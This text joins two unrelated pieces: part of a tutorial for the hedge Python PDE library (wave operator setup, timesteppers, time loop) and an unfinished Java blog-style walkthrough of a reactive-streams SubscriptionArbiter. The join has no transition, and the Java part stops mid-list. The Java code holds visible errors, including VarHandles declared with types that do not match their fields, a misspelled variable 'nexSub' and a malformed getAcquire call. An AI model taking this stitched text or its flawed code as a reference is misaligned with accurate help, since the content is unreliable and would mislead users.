- Boundary-Conditions (Functions)
- Flux-Type (central, upwind, etc.)
The input of an operator depends on the problem and should be looked up in `pde.py'.
Example (Initializing an Operator)
The wave-min.py example uses the StrongWaveOperator. You can define an object op as instance of the class StrongWaveOperator.
from hedge.pde import StrongWaveOperator from hedge.mesh import TAG_ALL, TAG_NONE op = StrongWaveOperator(1, discr.dimensions, source_vec_getter, dirichlet_tag=TAG_NONE, dirichlet_bc_f=bound_vec_getter, neumann_tag=TAG_NONE, radiation_tag=TAG_ALL, flux_type="upwind")
To get the RHS operator the method bind has to be used:
rhs = op.bind(discr)
As the bind method actually builds the entire operator an a lot of things a more detailed explanation to this part will be given in section Building Operators
Initial State
To start a computation you will have to define an initial state of the solution. Using the feature
discr.volume_zeros()
of the discr object you can create a vector-field of zeros with the length of the volume-vector describing the discretization.
Example (2D Wave-Equation)
The 2D wave equation has three different arguments for each interpolation point (u, v_x, v_y). To build an initial state you will have to combine three zero-vector-fields created by discr.volume_zeros() with the join_field method from the hedge.tools module. The code would look like this:
from hedge.tools import join_fields fields = join_fields(discr.volume_zeros(), discr.volume_zeros(), discr.volume_zeros())
You will receive the following vector field:
[[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]]
Timestep setup
After dealing with setup of the spatial part of the computation some temporal settings have to be made.
A method to find the right timestep ensures that the computation will be stable
dt = discr.dt_factor(op.max_eigenvalue())
The timestep.py source file provides a module including different stepping methods:
- 4th Order Runge-Kutte scheme
- Adams-Bashfort scheme
- Multi-Rate-Adams-Bashforth scheme
The timestepper can be set by:
from hedge.timestep import RK4TimeStepper stepper = RK4TimeStepper()
Example (Timestepper)
As a variation to the 4th order RK scheme you can choose the Adams-Bashfort scheme with a certain order by typing:
from hedge.timestep import AdamsBashforthTimeStepper stepper = AdamsBashforthTimeStepper(3,None)
Timestep Loop
Finally all setup has been done and the computational loop can start. A typical way how this works is shown below:
nsteps = int(700/dt) for step in xrange(nsteps): logmgr.tick() t = step*dt if step % 5 == 0: visf = vis.make_file("fld-%04d" % step) vis.add_data(visf, [ ("u", u), ], time=t, step=step ) visf.close() u = stepper(u, t, dt, rhs)
The loop includes the output to the screen and to the output files. The field data u gets updated every time and the rhs provides the spatial evolution of the solution. | https://wiki.tiker.net/Hedge/HowTo/IniFileFramework | CC-MAIN-2016-44 | refinedweb | 1,623 | 56.76 |
).
Issue Links
Activity
v1 - i will update with tests.
couple of main objectives:
1. decide whether each mr job can be run locally
2. decide whether local disk can be used for intermediate data (if all jobs are going to run locally)
right now - both #1 and #2 are code complete - but only #1 has been enabled in the code (#2 needs more testing)
the general strategy is:
- after compilation/optimization - look at input size of each mr job.
- if all the jobs are small - then we can use local disk for intermediate data (#2)
- else - we use hdfs for intermediate input and before launching each job - we (re)test whether the input data set is such that we can execute locally.
had to do substantial restructuring to make this happen:
a. MapRedTask is now a wrapper around ExecDriver. This allows us to have a single task implementation for running mr jobs. mapredtask decides at execute time whether it should run locally or not.
b. Context.java is pretty much rewritten - the path management code was somewhat buggy (in particular isMRTmpFileURI was incorrect). the code was rewritten to allow make it easy to swizzle tmp paths to be directed to local disk after plan generation
c. added a small cache for caching DFS file metadata (sizes). this is because we lookup file metadata many times over now (for determining local mode as well as for estimating reducer count) and this cuts the overhead of repeated DFS rpcs
d. most test output changes are because of altered temporary path naming convention due to (b)
e. bug fixes: CTAS and RCFileOutputFormat were broken for local mode execution. some cleanup (debug log statements should be wrapped in ifDebugEnabled()).
v2. this is ready for review.
added tests:
- the tests now use 'p' namespace as the default warehouse filesystem. This is served by a proxy filesystem class that passes requests to the local file system
- this comprehensively tests all the file system issues related to running in local mode (where there is now a difference between the intermediate data's file system and the warehouse's file system). there are several small bug fixes related to bugs discovered because of this test mode.
- there are changes in a lot of test results as a result of the new namespace as well as because of the changes in tmp file naming. i am attaching a extra diff (.q.out.patch) that shows only the interesting changes.
- some tests have been modified to run with a non-local setting for the jobtracker and with auto-local-mode turned on. this tests the new functionality.
- there is one test (archive.q) that's still breaking because of the filesystem issues. waiting for a fix from pyang. but it should not stop the review.
additional changes:
- pyang's fix for archive.q
- move Proxy*FileSystem.java to shims/hadoop-20. The FileSystem interface has changed from 17-20 and the class i wrote only compiles for 0.20
- the change to use the p namespace for test warehouse is now used only for hadoop-20 (because of above). it's also excluded for minimr. the namespace is now controlled by ant.
summarizing comments from internal review:
- log why local mode was not chosen (not clear whether this should be printed all the way to the console)
- turn it on by default in trunk
- use mapred.child.java.opts for child jvm memory for local mode (as opposed to the current policy of passing down HADOOP_HEAPMAX). this will let the map-reduce engine run with more memory and allow us to differentiate between compiler and execution memory requirements
- set auto-local reducer threshold to 1. local mode doesn't run more than one reducer.
follow on jiras:
1. don't scan all partitions for determining local mode (may apply to estimateReducers as well)
2. use # of splits instead of # files for determining local mode.
- added messages explaining why local mode was not chosen
- added negative test for above testing that we don't choose local mode with small max size limit
- turned on by default in hive-default.xml.
- turned off by default for tests because it might bypass minimr completely
- set reducer threshold to 1 for choosing local mode
regarding child jvm memory - there's already a separate option to control this (hive.mapred.local.mem). So no work is required.
patch passes all tests in 0.20. testing for 0.17
final patch i hope!
had to go through some hoops to make the test pass on all versions. it turns out not having the pfile implementation on different implementations makes the test outputs differ (ignoring pfile: in diffs is not enough because path order in different lists change)
so i have ported the ProxyFileSystem to all the shims (only 17 required significant changes).
tests of 17 and 20 both pass now (running 18 and 19).
sigh - some more changes required in the shims to get all versions to pass. should have a final patch by morrow.
final round of fixes. didn' realize that shim classes have to be uniquely named per hadoop version. added an exclusion to Proxy* - so that only one version of ProxyFileSystem is compiled - depending on target hadoop version. this is ok since it's only for tests.
tests pass 17, 18, 20. Couple of tests in 19 are broken because of bad existing source - filed
HIVE-1488 for that.
Some questions:
1) the local file system handled in shims are in a way that they are with the same file name (class name) and are compiled conditionally depending on the hadoop version during compile time. This may cause problem when deploying the same hive jar file to be used in different clusters with different version. The current shim was implemented by naming the classes differently and use ShimsLoader to get the correct class during execution time. This allows hive jar files to be deployed to different hadoop clusters.
2) data/conf/hive-site.xml fs.pfile.impl is not needed if ShimsLoader is used as described above.
3) the hive.exec.mode.local.auto default values are different in HiveConf.java and conf/hive-default.xml. It's better to be the same to avoid confusion.
4) ctas.q.out: do you know why the GlobalTableID was changed?
5) MapRedTask.java:149 The plan file name is not randomized as before. It may cause problem when the parallel execution mode is true and multiple MapRedTasks are running at the same time (e.g., parallel muti-table inserts).
6) If there are 2 MapRed tasks and MR2 depends on MR1 and MR1 is decided to be running local, it seems MR2 have to be local since the intermediate files are stored in local file system? What about in parallel execution when MR1 and MR2 running in parallel and only one of them is local? It seems the info of whether a task is "local" is stored in Context (and HiveConf) which is shared among parallel MR tasks?
7) ExecDriver.localizeMRTmpFileImpl changes the FileSinkDesc.dirName after the MR tasks have generated, it breaks the dynamic partition code which runs when the FileSinkOperator is generated. In particular, the DynamicPartitionCtx also stores the dirName, it has to be changed as well in localizeMRTmpFileImpl.
8) MoveTask previously move intermediate directory in HDFS to the final directory also in HDFS. In the local mode, we should change the MoveTask execution as well?
9) Driver.java:100 the two functions are made static. Should they be moved to Utilities?
#1 - we decide that i would try to take out ProxyFileSystem from the hive jars in the distribution. unfortunately, i am unable to do so - all the simple ways seem to break the tests. i don't see much of a downside with the current arrangement - ProxyFileSystem is test-only code - there's no reason why anyone should invoke this. so shouldn't cause any problems (even though it ships with the hive jars). the pfile:// -> ProxyFileSystem mapping exists only in test mode.
btw - i can't use ShimLoader - because Hadoop doesn't specify a factory class for creating file system object. it expects a file system class directly. that makes it impossible to write a portable filesystem class using the shimloader paradigm. i am beginning to appreciate factory classes more.
#2 not an issue - can't use ShimLoader as per above.
#3 fixed
#4, #5, #6, #7, #8 - not an issue as we discussed. HIVE-1484 has already been filed as a followup work to use local dir for intermediate data when possible
#9 - fixed. moved one public func to Utility.java and eliminated the other.
Looks good in general. One minor thing though: I tried it on real clusters and it works great except that I need to manually set mapred.local.dir even though hive.exec.mode.local.auto is already set to true. Should we treat mapred.local.dir the same as HADOOPJT so that it can be set automatically when local mode is on and reset it back in Driver and Context?
yeah - so the solution is that the mapred.local.dir needs to be set correctly in hive/hadoop client side xml. for our internal install - i will send a diff changing the client side to point to /tmp (instead of having server side config).
there's nothing to do on the hive open source version. mapred.local.dir is a client only variable and needs to be set specific to the client side by the admin. basically our internal client side config has a bug
Ning - anything else u need from me? i was hoping to get it in before hive-417. otherwise i am sure would have to regenerate/reconcile a ton of stuff
Committed. Thanks Joydeep!
this is somewhat more complicated than i had bargained for:
so it's not possible to implement this via hooks. (and the changes required are somewhat invasive) | https://issues.apache.org/jira/browse/HIVE-1408?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel | CC-MAIN-2014-23 | refinedweb | 1,661 | 65.83 |
Getting Started with AWS Support
AWS Support offers a range of plans that provide access to tools and expertise that support the success and operational health of your AWS solutions. All support plans provide 24x7 access to customer service, AWS documentation, whitepapers, and support forums. For technical support and more resources to plan, deploy, and improve your AWS environment, you can select a support plan that best aligns with your AWS use case.
Features of AWS Support Plans
AWS Support offers four support plans: Basic, Developer, Business, and Enterprise. The Basic plan is free of charge and offers support for account and billing questions and service limit increases. The other plans offer an unlimited number of technical support cases with pay-by-the-month pricing and no long-term contracts, providing the level of support that meets your needs.
All AWS customers automatically have around-the-clock access to these features of the Basic support plan:
Customer Service: one-on-one responses to account and billing questions
Support forums
Service health checks
Documentation, whitepapers, and best-practice guides
Customers with a Developer support plan have access to these additional features:
Best-practice guidance
Client-side diagnostic tools
Building-block architecture support: guidance on how to use AWS products, features, and services together
AWS Identity and Access Management (IAM) for controlling individuals' access to AWS Support
In addition, customers with a Business or Enterprise support plan have access to these features:
Use-case guidance: what AWS products, features, and services to use to best support your specific needs.
AWS Trusted Advisor, which inspects customer environments. Then, Trusted Advisor identifies opportunities to save money, close security gaps, and improve system reliability and performance.
An API for interacting with Support Center and Trusted Advisor. This API allows for automated support case management and Trusted Advisor operations.
Third-party software support: help with Amazon Elastic Compute Cloud (EC2) instance operating systems and configuration. Also, help with the performance of the most popular third-party software components on AWS.
In addition, customers with an Enterprise support plan have access to these features:
Application architecture guidance: consultative partnership supporting specific use cases and applications.
Infrastructure event management: short-term engagement with AWS Support to get a deep understanding of your use case—and after analysis, provide architectural and scaling guidance for an event.
Technical account manager
White-glove case routing
Management business reviews
For more detailed information about features and pricing for each support plan, see AWS Support and AWS Support Features. Some features, such as around-the-clock phone and chat support, aren't available in all languages.
Case Management
You can sign in to the Support Center at by using the email address and password linked to your AWS account. To log in with other credentials, see Accessing AWS Support.
There are three types of cases you can open:
Account and Billing Support cases are available to all AWS customers. This case type connects you to customer service for help with billing and account-related questions.
Service Limit Increase requests are also available to all AWS customers. For information on the default service limits, see AWS Service Limits.
Technical Support cases connect you to technical support for help with service-related technical issues and, in some cases, third-party applications. If you have a Developer support plan, you can communicate using the web. If you have a Business or Enterprise support plan, you can also communicate by phone or live chat.
To open a Support case:
In Support Center, choose the Create case button.
Example: Creating a Case
Here is an example of a Technical Support case (shown in two parts for readability). The lists that follow the form example explain some of your options and best practices.
Service. If your question affects multiple services, choose the service that's most applicable. In this case, select Elastic Compute Cloud (EC2 - Linux).
Category. Choose the category that best fits your use case. In this case, there's trouble connecting to an instance, so choose Instance Issue. When you select a category, links to information that might help to resolve your problem appear below the Category selection.
Severity. Customers with a paid support plan can choose the General guidance (1-day response time) or System impaired (12-hour response time) severity level. Customers with a Business support plan can also choose Production system impaired (4-hour response) or Production system down (1-hour response). And customers with an Enterprise plan can choose Business-critical system down (15-minute response).
Response times are for first response from AWS Support. These response times don't apply to subsequent responses. For third-party issues, response times can be longer, depending on the availability of skilled personnel. For details, see Choosing a Severity.
Note
Based on your category choice, you might be prompted for additional information. In this case, you're prompted to provide the Instance IDs. In general, it's a good idea to provide resource IDs, even when not prompted.
Subject. Treat this like the subject of an email message—briefly describe your issue. In this case, use the subject
Failed status checks.
Description. This is the most important information that you provide to AWS Support. For most service and category combinations, a prompt suggests information that's most helpful for the fastest resolution. For more guidance, see Describing Your Problem.
Attachments. Screen shots and other attachments (less than 5 MB each) can be helpful. In this case, an image is added that shows the failed status check.
Contact methods. Select a contact method. The options vary depending on the type of case and your support plan. If you choose Web, you can read and respond to the case progress in Support Center. If you have a Business or Enterprise support plan, you can also select Chat or Phone. If you select Phone, you're prompted for a callback number.
Additional contacts. Provide the email addresses of people to be notified when the status of the case changes. If you're signed in as an IAM user, include your own email address. If you're signed in with your email address and password, you don't need to include your email address in this box.
Note
If you have the Basic support plan, the Additional contacts box isn't available. However, the Operational contact specified in the Alternate Contacts section of the My Account page receives copies of the case correspondence, but only for the specific case types of Account, Billing, and Technical.
Case Type. Select the type of case you want to create from the three boxes at the top of the page. In this example, select Technical Support.
Note
If you have the Basic support plan, you can't create a technical support case.
Submit. Choose Submit when your information is complete. Choosing Submit creates the case.
Choosing a Severity
You might want to always open cases at the highest severity allowed by your support plan. However, we strongly encourage that you limit the use of the highest severities to cases that can't be worked around or that directly affect production applications. Plan ahead to avoid high-severity cases for general guidance questions. For information about building your services so that losing single resources doesn't affect your application, see Building Fault-Tolerant Applications on AWS.
Here is a summary of severity levels, response times, and example problems. For more information about the scope of support for each AWS Support plan, see AWS Support Features. Note: We make every reasonable effort to respond to your initial request within the indicated timeframe.
* For the Developer plan, response targets are calculated in business hours. Business hours are defined as 8:00 AM to 6:00 PM in the customer country, as set in the contact information of My Account, excluding holidays and weekends. These times can vary in countries with multiple time zones. Note that Japanese support is available from 9:00 AM to 6:00 PM.
Describing Your Problem
Make your description as detailed as possible. Include relevant resource information, along with anything else that might help us understand your issue. For example, to troubleshoot performance, include time stamps.
Monitoring and Maintaining Your Case
You can monitor the status of your case in Support Center. A new case begins in the
Unassigned state. When an engineer begins work on a case, the
status changes to
Work in Progress. The engineer responds to your case,
either to ask for more information (
Pending Customer Action) or to let
you know that the case is being investigated (
Pending Amazon
Action).
When your case is updated, you receive email with the correspondence and a link to the case in Support Center—you can't respond to case correspondence by email. When you're satisfied with the response or your problem is solved, you can select Close Case in Support Center. If you don't respond within ten days, the case is closed automatically. You can always reopen a resolved or closed case.
Be sure to create a new case for a new issue or question. If case correspondence strays from the original question or issue, a support engineer might ask you to open a new case. If you open a case related to old inquiries, include (where possible) the related case number so that we can refer to previous correspondence.
Case History
Case history information is available for 12 months after creation.
Accessing AWS Support
There are two ways to access Support Center:
Use the email address and password associated with your AWS account
Use AWS Identity and Access Management (Preferred)
Customers with a Business or Enterprise support plan can also access AWS Support and Trusted Advisor operations programmatically by using the AWS Support API.
AWS Account
You can use your AWS account information to access Support Center. Sign in at, and then enter your email address and password. However, avoid using this method as much as possible. Instead, use IAM. For more information, see Lock away your AWS account access keys.
IAM
You can use IAM to create individual users or groups, and then give them permission to perform actions and access resources in Support Center.
Note
IAM users who are granted Support access can see all the cases that are created for the account.
By default, IAM users can't access the Support Center. You can give users access to your account’s Support resources (Support Center cases and the AWS Support API) by attaching IAM policies to users, groups, or roles. For more information, see IAM Users and Groups and Overview of AWS IAM Policies.
After you create IAM users, you can give those users individual passwords. They can then sign in to your account and work in Support Center by using an account-specific sign-in page. For more information, see How IAM Users Sign In to Your AWS Account.
The easiest way to grant permission is to attach the AWS managed policy
AWSSupportAccess to the user, group, or role. Support doesn't let
you allow or deny access to individual actions. Therefore, the
Action
element of a policy is always set to
support:*. Similarly, Support
doesn't provide resource-level access, so the
Resource element is
always set to
*. An IAM user with Support permissions has access to
all Support operations and resources.
For example, this policy statement grants access to Support:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "support:*", "Resource": "*" }] }
This policy statement denies access to Support:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": "support:*", "Resource": "*" }] }
If the user or group already has a policy, you can add the Support-specific policy statement illustrated here to that policy.
Note
Access to Trusted Advisor in the AWS Management Console is controlled by a separate
trustedadvisor IAM namespace. Access to Trusted Advisor with the
AWS Support API is controlled by the
support IAM namespace. For more
information, see Controlling Access to
the Trusted Advisor Console.
AWS Trusted Advisor
AWS a Business or Enterprise support plan can view all Trusted Advisor checks. For more information, see AWS Trusted Advisor.
For information about using Amazon CloudWatch Events to monitor the status of Trusted Advisor checks, see Monitoring Trusted Advisor Check Results with Amazon CloudWatch Events.
Customers can access Trusted Advisor in the AWS Management Console. Programmatic access to Trusted Advisor is available with the AWS Support API.
Troubleshooting
For answers to common troubleshooting questions, see the AWS Support Knowledge Center.
For Windows, Amazon EC2 offers EC2Rescue, which allows customers to examine their Windows instances to help identify common problems, collect log files, and help AWS Support to troubleshoot your issues. You can also use EC2Rescue to analyze boot volumes from non-functional instances. For more information, see How can I use EC2Rescue to troubleshoot and fix common issues on my EC2 Windows instance?
Service-specific Troubleshooting
Most AWS service documentation contains troubleshooting topics that can get you started before contacting Support. The following table provides links to troubleshooting topics, arranged by service. | https://docs.aws.amazon.com/awssupport/latest/user/getting-started.html | CC-MAIN-2019-47 | refinedweb | 2,166 | 54.63 |
n-ary-functor: An n-ary version of Functor
A single typeclass for Functor, Bifunctor, Profunctor, etc.
Modules
Downloads
- n-ary-functor-1.0.tar.gz [browse] (Cabal source package)
- Package description (as included in the package)
Maintainer's Corner
For package maintainers and hackage trustees
Candidates
Readme for n-ary-functor-1.0[back to package description]
N-ary Functors
Using existing instances, 0, 0) (1,2,3,4)
What about
Contravariant and
Profunctor? No need to define
Bicontravariant nor
Noobfunctor, the
NFunctor typeclass supports contravariant type-parameters too!
> let intToInt = succ > let intToString = nmap <#> show $ succ > let stringToString = nmap >#< length <#> show $ succ > intToInt 3 4 > intToString 3 "4" > stringToString "foo" "4"
As the examples above demonstrate, n-ary-functor has an equivalent for both the
Functor ((->) a) instance and the
Profunctor (->) instance. Even better: when writing your own instance, you only need to define an
NFunctor (->) instance, and the
NFunctor ((->) a) instance will be derived for you.
NFunctor ((->) a b) too, but that's less useful since that
nmap is just the identity function.
That's not all! Consider a type like
StateT s m a. The last type parameter is covariant, but what about the first two? Well,
s -> m (a, s) has both positive and negative occurences of
s, so you need both an
s -> t and a
t -> s function in order to turn a
StateT s m a into a
StateT t m a. And what about
m? You need a natural transformation
forall a. m a -> n a. Yes, n-ary-functor supports these too!
> let stateIntIdentityInt = ((`div` 2) <$> get) >>= lift . Identity > let stateStringMaybeString = nmap <#>/>#< (flip replicate '.', length) -- (s -> t, t -> s) <##> NT (Just . runIdentity) -- NT (forall a. m a -> n a) <#> show -- a -> b $ stateIntIdentityInt > runStateT stateIntIdentityInt 4 Identity (2,4) > runStateT stateStringMaybeString "four" Just ("2","....")
Notice how even in such a complicated case, no type annotations are needed, as n-ary-functor is written with type inference in mind.
Defining your own instance
When defining an instance of
NFunctor, you need to specify the variance of every type parameter using a "variance stack" ending with
(->). Here is the instance for
(,,), whose three type parameters are covariant:
instance NFunctor (,,) where type VarianceStack (,,) = CovariantT (CovariantT (CovariantT (->))) nmap = CovariantT $ \f1 -> CovariantT $ \f2 -> CovariantT $ \f3 -> \(x1,x2,x3) -> (f1 x1, f2 x2, f3 x3)
Its
nmap then receives 3 functions, which it applies to the 3 components of the 3-tuple.
Here is a more complicated instance, that of
StateT:
instance NFunctor StateT where type VarianceStack StateT = InvariantT (Covariant1T (CovariantT (->))) nmap = InvariantT $ \(f1, f1') -> Covariant1T $ \f2 -> CovariantT $ \f3 -> \body -> StateT $ \s' -> fmap (f3 *** f1) $ unwrapNT f2 $ runStateT body $ f1' s'
The
s type parameter is "invariant", a standard but confusing name which does not mean that the parameter cannot vary, but rather that we need both an
s -> t and a
t -> s. The
m parameter is covariant, but for a type parameter of kind
1 to the name of the variance transformer, hence
Covariant1T.
* -> *, so we follow the convention and add a
Defining your own variance transformer
We've seen plenty of strange variances already and n-ary-functor provides stranger ones still (can you guess what the
CovariantT looks like:
👻#👻operator does?), but if your type parameters vary in an even more unusual way, you can define your own variance transformer. Here's what the definition of
newtype CovariantT to f g = CovariantT { (<#>) :: forall a b . (a -> b) -> f a `to` g b }
One thing which is unusual in that newtype definition is that instead of naming the eliminator
unCovariantT, we give it the infix name
(<#>). See this blog post for more details on that aspect.
Let's look at the type wrapped by the newtype.
to is the rest of the variance stack, so in the simplest case,
to is just
(a -> b) -> f a -> g b, which is really close to the type of
fmap. The reason we produce a
g b instead of an
f b is because previous type parameters might already be mapped; for example, in
nmap <#> show <#> show $ (0, 0), the overall transformation has type
(,) Int Int -> (,) String String, so from the point of view of the second
f is
(,) Int and
g is
(,) String.
(->), in which case the wrapped type is
(<#>),
One last thing is that variance transformers must implement the
VarianceTransformer typeclass. It simply ensures that there exists a neutral argument, in this case
id, which doesn't change the type parameter at all.
instance VarianceTransformer CovariantT a where t -#- () = t <#> id
Flavor example
A concrete situation in which you'd want to define your own variance transformer is if you have a DataKind type parameter which corresponds to a number of other types via type families.
import qualified Data.ByteString as Strict import qualified Data.ByteString.Lazy as Lazy import qualified Data.Text as Strict import qualified Data.Text.Lazy as Lazy data Flavor = Strict | Lazy type family ByteString (flavor :: Flavor) :: * where ByteString 'Lazy = Lazy.ByteString ByteString 'Strict = Strict.ByteString type family Text (flavor :: Flavor) :: * where Text 'Lazy = Lazy.Text Text 'Strict = Strict.Text data File (flavor :: Flavor) = File { name :: Text flavor , size :: Int , contents :: ByteString flavor }
In order to convert a
File 'Lazy to a
File 'Strict, we need to map both the underlying
Text 'Lazy to a
Text 'Strict and the underlying
ByteString 'Lazy to a
ByteString 'Strict. So those are exactly the two functions our custom variance transformer will ask for:
newtype FlavorvariantT to f g = FlavorvariantT { (😋#😋) :: forall flavor1 flavor2 . ( ByteString flavor1 -> ByteString flavor2 , Text flavor1 -> Text flavor2 ) -> f flavor1 `to` g flavor2 } instance VarianceTransformer FlavorvariantT a where t -#- () = t 😋#😋 (id, id)
We can now implement our
NFunctor File instance by specifying that its
flavor type parameter is flavorvariant.
instance NFunctor File where type VarianceStack File = FlavorvariantT (->) nmap = FlavorvariantT $ \(f, g) -> \(File n s c) -> File (g n) s (f c) | https://hackage.haskell.org/package/n-ary-functor-1.0 | CC-MAIN-2022-21 | refinedweb | 980 | 60.65 |
Introduction
A very common task is to combine multiple sources, or more generally, start consuming a source once the previous source has terminated. The naive approach would be to simply call otherSource.subscribe(nextSubscriber) from onError or onComplete. Unfortunately, this doesn't work for two reasons: 1) it may end up with deep stacks due to a "tail" subscription from onError/onComplete and 2) we should request the remaining, unfulfilled amount from the new source that hasn't be provided by the previous source to not overflow the downstream.
The first issue can be solved by applying a heavyweight observeOn in general and implementing a basic trampolining loop only for certain concrete cases such as flow concatenation to be described in this post.
The second issue requires a more involved source: not only do we have to switch between Flow.Subscriptions from different sources, we have to make sure concurrent request() invocations are not lost and are routed to the proper Flow.Subscription along with any concurrent cancel() calls. Perhaps the difficulty is lessened by the fact that switching sources happens on a terminal event boundary only, thus we don't have to worry about the old source calling onNext while the logic switches to the new source and complicating the accounting of requested/emitted item counts. Enter SubscriptionArbiter.
Subscription arbitration
We have to deal with 4 types of potentially concurrent signals when arbitrating Flow.Subscriptions:
- A request(long) call from downstream that has to be routed to the current Flow.Subscription
- A cancel() call from downstream that has to be routed to the current Flow.Subscription and cancel any future Flow.Subscription.
- A setSubscription(Flow.Subscription) that is called by the current Flow.Subscriber after subscribing to any Flow.Publisher which is not guaranteed to happen on the same thread subscribe() is called (i.e., as with the standard SubmissionPublisher or our range() operator).
- A setProduced(long n) that is called when the previous source terminates and we want to make sure the new source will be requested the right amount; i.e., we'll have to deduce this amount from the current requested amount so setSubscription will issue the request for the remainder to the new Flow.Subscription.
Let's start with the skeleton of the SubscriptionArbiter class providing these methods:
public class SubscriptionArbiter implements Flow.Subscription { Flow.Subscription current; static final VarHandle CURRENT = VH.find(MethodHandles.lookup(), SubscriptionArbiter.class, "current", Flow.Subscription.class); Flow.Subscription next; static final VarHandle NEXT = VH.find(MethodHandles.lookup(), SubscriptionArbiter.class, "next", Flow.Subscription.class); long requested; long downstreamRequested; static final VarHandle DOWNSTREAM_REQUESTED = VH.find(MethodHandles.lookup(), SubscriptionArbiter.class, "downstreamRequested", Flow.Subscription.class); long produced; static final VarHandle PRODUCED = VH.find(MethodHandles.lookup(), SubscriptionArbiter.class, "produced", Flow.Subscription.class); long wip; static final VarHandle WIP = VH.find(MethodHandles.lookup(), SubscriptionArbiter.class, "wip", int.class); @Override public final void request(long n) { // TODO implement } @Override public void cancel() { // TODO implement } public final boolean isCancelled() { // TODO implement return false; } public final void setSubscription(Flow.Subscription s) { // TODO implement } public final void setProduced(long n) { // TODO implement } final void arbiterDrain() { // TODO implement } }
We intend the class to be extended to save on allocation and object headers, however, some methods should not be overridden by any subclass as it would likely break the internal logic. The only relatively safe overridable method is cancel(): the subclass will likely have its own resources that have to be released upon a cancel() call from the downstream which will receive an instance of this class via onSubscribe. The meaning of each field is as follows:
- current holds the current Flow.Subscription. Its companion CURRENT VarHandle is there to support cancellation.
- next temporarily holds the next Flow.Subscription to replace current instance. Direct replacement can't work due to the required request accounting.
- requested holds the current outstanding request count. It doesn't have any VarHandle because it will be only accessed from within a drain-loop.
- downstreamRequested accumulates the downstream's requests in case there the drain loop is executing.
- produced holds the number of items produced by the previous source which has to be deduced from requested before switching to the next source happens. It is accompanied by a VarHandle to ensure proper visibility of its value from within the drain loop.
- wip is our standard work-in-progress counter to support the queue-drain like lock-free serialization we use almost everywhere now.
The first method we implement is request() that will be called by the downstream from an arbitrary thread at any time:
@Override public final void request(long n) { for (;;) { long r = (long)DOWNSTREAM_REQUESTED.getAcquire(this); long u = r + n; if (u < 0L) { u = Long.MAX_VALUE; } if (DOWNSTREAM_REQUESTED.compareAndSet(this, r, u)) { arbiterDrain(); break; } } }
We perform the usual atomic addition capped at Long.MAX_VALUE and call arbiterDrain().
@Override public void cancel() { Flow.Subscription s = (Flow.Subscription)CURRENT.getAndSet(this, this); if (s != null && s != this) { s.cancel(); } s = (Flow.Subscription)NEXT.getAndSet(this, this); if (s != null && s != this) { s.cancel(); } } public final boolean isCancelled() { return CURRENT.getAcquire(this) == this; }
We atomically swap in both the current and the next Flow.Subscription instances with the cancelled indicator of this. To support some eagerness in cancellation, the isCancelled can be called by the subclass (i.e., concat an array of Flow.Publishers) to quit its trampolined looping.
Next, we "queue up" the next Flow.Subscription:
public final void setSubscription(Flow.Subscription subscription) { if (NEXT.compareAndSet(this, null, subscription)) { arbiterDrain(); } else { subscription.cancel(); } }
We expect there will be only one thread calling setSubscription and that call happens before the termination of the associated source, thus a simple CAS from null to subscription should be enough. In this scenario, a failed CAS can only mean the arbiter was cancelled in the meantime and we cancel the subscription accordingly. We'll still have to relay the unfulfilled request amount to this new subscription which will be done in arbiterDrain().
The setProducer will have to "queue up" the fulfilled amount in a similar fashion:
public final void setProduced(long n) { PRODUCED.setRelease(this, n); arbiterDrain(); }
As with the setSubscription, we expect this to happen once per a terminated source before the subscription to the next source happens, thus there is no real need to atomically accumulate the item count.
Finally, let's see the heavy lifting in arbiterDrain() itself now:
final void arbiterDrain() { if ((int)WIP.getAndAdd(this, 1) != 0) { return; } Flow.Subscription requestFrom = null; long requestAmount = 0L; for (;;) { // TODO implement if ((int)WIP.getAndAdd(this, -1) - 1 == 0) { break; } } if (requestFrom != null && requestFrom != this && requestAmount != 0L) { requestFrom.request(requestAmount); } }
The arbiterDrain(), whose name was chosen to avoid clashing with a subclass' drain() method if any, method starts out as most typical trampolined drain loop did: the atomic increment to wip from 0 to 1 enters the loop and the decrement to zero leaves the loop.
One oddity may come from the requestFrom and requestAmount local variables. Unlike a traditional stable-prefetch queue-drain, requesting from within the loop can bring back the reentrancy issue, the tail-subscription problem and may prevent other actions from happening with the arbiter until the request() call returns. Therefore, once the loop decided what the current target Flow.Subscription is, we'll issue a request to it outside the loop. It is possible by the time the drain method reaches the last if statement that the current requestFrom is outdated or the arbiter was cancelled. This is not a problem because request() and cancel() in general are expected to race and an outdated Flow.Subscription means it has already terminated and a request() call is a no-op to it.
The last part inside the loop has to "dequeue" the deferred changes and apply them to the state of the arbiter:
for (;;) { // (1) ---------------------------------------------- Flow.Subscription currentSub = (Flow.Subscription)CURRENT.getAcquire(this); if (currentSub != this) { // (2) ------------------------------------------ long req = requested; long downstreamReq = (long)DOWNSTREAM_REQUESTED.getAndSet(this, 0L); long prod = (long)PRODUCED.getAndSet(this, 0L); Flow.Subscription nextSub = (Flow.Subscription)NEXT.getAcquire(this, null); if (nexSub != null && nextSub != this) { NEXT.compareAndSet(this, nextSub, null); } // (3) ------------------------------------------ if (downstreamReq != 0L) { req += downstreamReq; if (req < 0L) { req = Long.MAX_VALUE; } } // (4) ------------------------------------------ if (prod != 0L && req != Long.MAX_VALUE) { req -= prod; } requested = req; // (5) ------------------------------------------ if (nextSub != null && nextSub != this) { requestFrom = nextSub; requestAmount = req; CURRENT.compareAndSet(currentSub, nextSub); } else { // (6) -------------------------------------- requestFrom = currentSub; requestAmount += downstreamReq; if (requestAmount < 0L) { requestAmount = Long.MAX_VALUE; } } } if ((int)WIP.getAndAdd(this, -1) - 1 == 0) { break; } }
- First we check if the current instance holds the cancelled indicator (this). If so, we don't have to execute any of the logic as the arbiter has been cancelled by the downstream.
- We read out the current and queued state: the current outstanding requested amount, the request amount from the downstream if any, the produced item count by the previous source and the potential next Flow.Subscription instance. While it is safe to atomically swap in 0 for both the downstreamRequested and produced values, swapping in null unconditionally may overwrite the cancelled indicator and the setSubscription won't cancel its argument.
- If there was an asynchronous request() call, we add the downstreamReq amount to the current requested amount, capped at Long.MAX_VALUE (unbounded indicator).
